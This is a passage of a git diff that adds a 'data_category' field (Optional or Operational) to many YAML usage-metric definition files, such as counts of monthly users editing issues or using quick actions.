+++ b/config/metrics/counts_28d/20210216180958_clusters_applications_prometheus.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.clusters_applications_prometheus
description: Users creating clusters with Prometheus enabled in last 28 days.
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181000_operations_dashboard_default_dashboard.yml b/config/metrics/counts_28d/20210216181000_operations_dashboard_default_dashboard.yml
index 28391dfb558..6d57a5c0ce1 100644
--- a/config/metrics/counts_28d/20210216181000_operations_dashboard_default_dashboard.yml
+++ b/config/metrics/counts_28d/20210216181000_operations_dashboard_default_dashboard.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.operations_dashboard_default_dashboard
description: Active users with enabled operations dashboard
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181002_projects_with_tracing_enabled.yml b/config/metrics/counts_28d/20210216181002_projects_with_tracing_enabled.yml
index b934fa26cd4..13cf98b9a2a 100644
--- a/config/metrics/counts_28d/20210216181002_projects_with_tracing_enabled.yml
+++ b/config/metrics/counts_28d/20210216181002_projects_with_tracing_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.projects_with_tracing_enabled
description: Projects with tracing enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181004_projects_with_error_tracking_enabled.yml b/config/metrics/counts_28d/20210216181004_projects_with_error_tracking_enabled.yml
index 2872838e54a..5b67dcc38d7 100644
--- a/config/metrics/counts_28d/20210216181004_projects_with_error_tracking_enabled.yml
+++ b/config/metrics/counts_28d/20210216181004_projects_with_error_tracking_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.projects_with_error_tracking_enabled
description: Count of users creating projects with error tracking enabled.
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181006_operations_dashboard_users_with_projects_added.yml b/config/metrics/counts_28d/20210216181006_operations_dashboard_users_with_projects_added.yml
index 4ef89c2b47d..5fde9570540 100644
--- a/config/metrics/counts_28d/20210216181006_operations_dashboard_users_with_projects_added.yml
+++ b/config/metrics/counts_28d/20210216181006_operations_dashboard_users_with_projects_added.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.operations_dashboard_users_with_projects_added
description: Active users with projects on operations dashboard
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181050_packages.yml b/config/metrics/counts_28d/20210216181050_packages.yml
index f364a4778e0..d818f90c7a0 100644
--- a/config/metrics/counts_28d/20210216181050_packages.yml
+++ b/config/metrics/counts_28d/20210216181050_packages.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.packages
description: A monthly count of packages published to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181057_projects_with_packages.yml b/config/metrics/counts_28d/20210216181057_projects_with_packages.yml
index 5460afbc134..bd8ec61b39f 100644
--- a/config/metrics/counts_28d/20210216181057_projects_with_packages.yml
+++ b/config/metrics/counts_28d/20210216181057_projects_with_packages.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.package.projects_with_packages
description: The total number of projects in a given month with at least one package
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181139_issues.yml b/config/metrics/counts_28d/20210216181139_issues.yml
index c6c73e11746..8264ea12af0 100644
--- a/config/metrics/counts_28d/20210216181139_issues.yml
+++ b/config/metrics/counts_28d/20210216181139_issues.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.plan.issues
description: Count of users creating Issues in last 28 days.
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181141_notes.yml b/config/metrics/counts_28d/20210216181141_notes.yml
index 0245705cd8e..d041f9b8685 100644
--- a/config/metrics/counts_28d/20210216181141_notes.yml
+++ b/config/metrics/counts_28d/20210216181141_notes.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.plan.notes
description: Count of MAU commenting on an issuable
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181143_projects.yml b/config/metrics/counts_28d/20210216181143_projects.yml
index 6dd113bb25a..a367ade1802 100644
--- a/config/metrics/counts_28d/20210216181143_projects.yml
+++ b/config/metrics/counts_28d/20210216181143_projects.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.plan.projects
description: Count of MAU creating projects
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181145_todos.yml b/config/metrics/counts_28d/20210216181145_todos.yml
index 89378b26bcd..43a19351939 100644
--- a/config/metrics/counts_28d/20210216181145_todos.yml
+++ b/config/metrics/counts_28d/20210216181145_todos.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.plan.todos
description: Count of MAU creating todos
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181147_service_desk_enabled_projects.yml b/config/metrics/counts_28d/20210216181147_service_desk_enabled_projects.yml
index 9532586e2fe..708df218357 100644
--- a/config/metrics/counts_28d/20210216181147_service_desk_enabled_projects.yml
+++ b/config/metrics/counts_28d/20210216181147_service_desk_enabled_projects.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.plan.service_desk_enabled_projects
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181148_service_desk_issues.yml b/config/metrics/counts_28d/20210216181148_service_desk_issues.yml
index fb8c998e3a1..0a8bc14a581 100644
--- a/config/metrics/counts_28d/20210216181148_service_desk_issues.yml
+++ b/config/metrics/counts_28d/20210216181148_service_desk_issues.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.plan.service_desk_issues
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181150_projects_jira_active.yml b/config/metrics/counts_28d/20210216181150_projects_jira_active.yml
index d7851c9a134..60be7632ceb 100644
--- a/config/metrics/counts_28d/20210216181150_projects_jira_active.yml
+++ b/config/metrics/counts_28d/20210216181150_projects_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.plan.projects_jira_active
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181152_projects_jira_dvcs_cloud_active.yml b/config/metrics/counts_28d/20210216181152_projects_jira_dvcs_cloud_active.yml
index 2fc84e2cefd..bab2db5ad43 100644
--- a/config/metrics/counts_28d/20210216181152_projects_jira_dvcs_cloud_active.yml
+++ b/config/metrics/counts_28d/20210216181152_projects_jira_dvcs_cloud_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.plan.projects_jira_dvcs_cloud_active
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181154_projects_jira_dvcs_server_active.yml b/config/metrics/counts_28d/20210216181154_projects_jira_dvcs_server_active.yml
index d341a41fc6e..0d9a42d3512 100644
--- a/config/metrics/counts_28d/20210216181154_projects_jira_dvcs_server_active.yml
+++ b/config/metrics/counts_28d/20210216181154_projects_jira_dvcs_server_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.plan.projects_jira_dvcs_server_active
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181158_epics.yml b/config/metrics/counts_28d/20210216181158_epics.yml
index d0b71aa11d1..8b5694c96c0 100644
--- a/config/metrics/counts_28d/20210216181158_epics.yml
+++ b/config/metrics/counts_28d/20210216181158_epics.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.plan.epics
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181200_label_lists.yml b/config/metrics/counts_28d/20210216181200_label_lists.yml
index 768692dc39a..354c8c3f41b 100644
--- a/config/metrics/counts_28d/20210216181200_label_lists.yml
+++ b/config/metrics/counts_28d/20210216181200_label_lists.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.plan.label_lists
description: Count of MAU creating label lists on Boards
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml b/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml
index 85406b7bf4f..545741e02c5 100644
--- a/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_title_changed_monthly
description: Count of MAU editing an issue title
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml b/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml
index 4fe2a89c7f9..6afaaf788d2 100644
--- a/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_description_changed_monthly
description: Count of MAU editing an issue description
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml b/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml
index 6065495beb2..0fbdb16384f 100644
--- a/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_monthly
description: Count of MAU changing issue assignees
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml b/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml
index 10f8355d374..64584106f54 100644
--- a/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml
+++ b/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_monthly
description: Count of MAU making an issue confidential
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml b/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml
index 1f45e47cec2..12ad3c7469e 100644
--- a/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml
+++ b/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_made_visible_monthly
description: Count of MAU making an issue not confidential
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml b/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml
index de02fe709f7..1e1a93572a2 100644
--- a/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml
+++ b/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: redis_hll_counters.issues_edit.g_project_management_issue_created_monthly
description: Count of MAU creating new issues
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml b/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml
index 9ac69cadc00..c5f26b01f76 100644
--- a/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: redis_hll_counters.issues_edit.g_project_management_issue_closed_monthly
description: Count of MAU closing an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml b/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml
index e47c00a0f88..79148942f11 100644
--- a/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml
+++ b/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_reopened_monthly
description: Count of MAU re-opening a closed issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml b/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml
index 75a530e5e6e..aa6c7f74a34 100644
--- a/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_label_changed_monthly
description: Count of MAU changing an issue's label
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml b/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
index 76bdbaf4401..fc2b81eaf96 100644
--- a/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_monthly
description: Count of MAU changing an issue's milestone
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml b/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml
index f2f96164882..da20c78f10d 100644
--- a/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml
+++ b/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_monthly
description: Count of MAU referencing an issue from somewhere else
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml b/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml
index 684a8d31157..80c55c9c75f 100644
--- a/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml
+++ b/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_moved_monthly
description: Count of MAU moving an issue to another project
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml b/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml
index 0058a6eece9..30e688b95f7 100644
--- a/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml
+++ b/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_related_monthly
description: Count of MAU relating an issue to another issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml b/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml
index c735eb37ab2..a5786dcc00e 100644
--- a/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml
+++ b/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_unrelated_monthly
description: Count of MAU unrelating an issue to another issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml b/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml
index 25dd972385c..ccc96aefc7b 100644
--- a/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_monthly
description: Count of MAU marking an issue as a duplicate
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml b/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml
index 5a9b44afff2..38d1cddb8ff 100644
--- a/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml
+++ b/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_locked_monthly
description: Count of MAU locking an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml b/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml
index ab09a496a88..2045f29d91b 100644
--- a/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml
+++ b/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_unlocked_monthly
description: Count of MAU unlocking an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml b/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml
index d57db3474a3..a9a6335b158 100644
--- a/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml
+++ b/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_added_monthly
description: Count of MAU adding a design to an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml b/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml
index 5447112e8fb..b029c819f21 100644
--- a/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml
+++ b/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_monthly
description: Count of MAU modifying a design on an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml b/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml
index 76612a2fdc7..a47c5a7b4dd 100644
--- a/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_monthly
description: Count of MAU removing a design from an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml b/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml
index 4b6c2dadbcf..13e127d9235 100644
--- a/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_monthly
description: Count of MAU changing an issue due date
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml b/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml
index 13bfaaac98b..d6a364929bc 100644
--- a/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_monthly
description: Count of MAU changing an issue time estimate
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml b/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml
index 09cb3fdfbf7..fe0386739ba 100644
--- a/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_monthly
description: Count of MAU recording time spent on an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml b/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml
index 2a62d55940f..e2ff10cb06f 100644
--- a/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml
+++ b/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_added_monthly
description: Count of MAU commenting on an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml b/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml
index a6c7e3d5c90..610746013fd 100644
--- a/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml
+++ b/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_monthly
description: Count of MAU editing a comment on an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml b/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml
index feacebfdd47..776fc707274 100644
--- a/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_monthly
description: Count of MAU deleting a comment from an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml b/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml
index 69159563527..e509b4d2af2 100644
--- a/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml
+++ b/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_cloned_monthly
description: Count of MAU cloning an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml
index a100a5bebe7..f0234ca62a6 100644
--- a/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: redis_hll_counters.issues_edit.issues_edit_total_unique_counts_monthly
description: Aggregate count of MAU taking an action related to an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml b/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
index 77ae29b729a..db9f1d99360 100644
--- a/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
+++ b/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_approve_monthly
description: Count of MAU using the `/approve` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml b/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml
index e0922256104..5586b4755cd 100644
--- a/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml
+++ b/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_assign_single_monthly
description: Count of MAU using the `/assign @user1` quick action to assign a single individual to an issuable
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml b/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml
index 7c5303ecd8f..e0ec4d50413 100644
--- a/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml
+++ b/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_assign_self_monthly
description: Count of MAU using the `/assign me` quick action to assign self to an issuable
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml b/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml
index bcf7a415138..fac65eb896f 100644
--- a/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml
+++ b/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_assign_reviewer_monthly
description: Count of MAU using the `/assign_reviewer` or `request_reviewer` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml b/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml
index 8ea3318bc0c..044b8037d05 100644
--- a/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml
+++ b/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_award_monthly
description: Count of MAU using the `/award` quick action to set an award emoji on an issuable
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml b/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml
index 6baaabf7672..b84f9be0a1d 100644
--- a/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml
+++ b/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_board_move_monthly
description: Count of MAU using the `/board_move` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml b/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml
index 51c2b562057..ddbffe29356 100644
--- a/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml
+++ b/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_clone_monthly
description: Count of MAU using the `/clone` quick action to clone an issue.
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml b/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml
index be0524b633c..ca647f138d5 100644
--- a/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml
+++ b/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_close_monthly
description: Count of MAU using the `/close` quick action to close an issuable
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml b/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml
index 9fa5af8c7c0..e6f74098306 100644
--- a/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml
+++ b/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_confidential_monthly
description: Count of MAU using the `/confidential` quick action to set an issue as confidential
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml b/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml
index cbd8aa83010..69b46b3d0fe 100644
--- a/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml
+++ b/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_monthly
description: Count of MAU using the `/copy_metadata` quick action on a Merge Request
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml b/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml
index 3075ed64103..ebb754bad3b 100644
--- a/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml
